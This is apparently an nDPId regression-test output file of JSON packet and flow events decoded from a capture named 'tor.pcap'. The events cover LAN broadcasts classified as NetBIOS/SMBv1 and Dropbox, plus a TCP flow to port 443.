+00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821678,"pkt_ts_usec":212925,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":89,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821680,"pkt_ts_usec":212883,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":90,"source":"tor.pcap","alias":"nDPId-test","type":38} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":91,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1383821673254,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821682,"pkt_ts_usec":212886,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":91,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821684,"pkt_ts_usec":212907,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":92,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":93,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821686,"pkt_ts_usec":212924,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":93,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":94,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821688,"pkt_ts_usec":212902,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":94,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821690,"pkt_ts_usec":212928,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":95,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":96,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821692,"pkt_ts_usec":212907,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":96,"source":"tor.pcap","alias":"nDPId-test","type":38} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1383821693159,"flow_last_seen":0,"flow_tot_l4_data_len":218,"flow_min_l4_data_len":218,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":218,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00679{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821693,"pkt_ts_usec":159821,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"\/\/\/\/\/\/\/\/UlQAWul3CABFAADuA4EAAIARsTLAqAH8wKgB\/wCKAIoA2itVEQLJT8CoAfwAigDEAAAgRUZFT0VFRUpFQkVPQ05GQUVEQ0FDQUNBQ0FDQUNBQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAKgAAAAAAAAAAAOgDAAAAAAAAAAAqAFYAAwABAAEAAgA7AFxNQUlMU0xPVFxCUk9XU0UADACguw0AV09SS0dST1VQAAAAAAAAAAMKABAAgP4HAABFTkRJQU4tUEMA"} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1383821693159,"flow_last_seen":0,"flow_tot_l4_data_len":218,"flow_min_l4_data_len":218,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":218,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":98,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821694,"pkt_ts_usec":212894,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":98,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":99,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821696,"pkt_ts_usec":212907,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":99,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":100,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821698,"pkt_ts_usec":212898,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":100,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":101,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821700,"pkt_ts_usec":216949,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":101,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":102,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821702,"pkt_ts_usec":213488,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":102,"source":"tor.pcap","alias":"nDPId-test","type":38} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":105,"source":"tor.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1383821693159,"flow_last_seen":0,"flow_tot_l4_data_len":218,"flow_min_l4_data_len":218,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":218,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":105,"source":"tor.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1383821703288,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821703,"pkt_ts_usec":288336,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":105,"source":"tor.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1383821703288,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":111,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821704,"pkt_ts_usec":212955,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":111,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821706,"pkt_ts_usec":213267,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":156,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821708,"pkt_ts_usec":213145,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":185,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821710,"pkt_ts_usec":212920,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":202,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821712,"pkt_ts_usec":212949,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":203,"source":"tor.pcap","alias":"nDPId-test","type":38} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":212,"source":"tor.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1383821703288,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821714,"pkt_ts_usec":212940,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":214,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821716,"pkt_ts_usec":213464,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":215,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":220,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821718,"pkt_ts_usec":212953,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":220,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821720,"pkt_ts_usec":213004,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":221,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821722,"pkt_ts_usec":213011,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":222,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821724,"pkt_ts_usec":212938,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":227,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":232,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821726,"pkt_ts_usec":212962,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":232,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":271,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821728,"pkt_ts_usec":213042,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":271,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":356,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821730,"pkt_ts_usec":212988,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":356,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":541,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821732,"pkt_ts_usec":212991,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":541,"source":"tor.pcap","alias":"nDPId-test","type":38} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":650,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1383821733324,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821733,"pkt_ts_usec":324487,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":650,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1383821733324,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":662,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1383821733324,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":671,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821734,"pkt_ts_usec":213076,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":671,"source":"tor.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":673,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1383821734359,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"157.56.30.46","src_port":51104,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821734,"pkt_ts_usec":359648,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoBE1AAIAGeHjAqAH8nTgeLsegAbuzcgvfGiCX\/lAUAAD2+QAAAAAAAAAA"} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":690,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821736,"pkt_ts_usec":213187,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":690,"source":"tor.pcap","alias":"nDPId-test","type":38} +00373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":755,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821738,"pkt_ts_usec":213238,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet 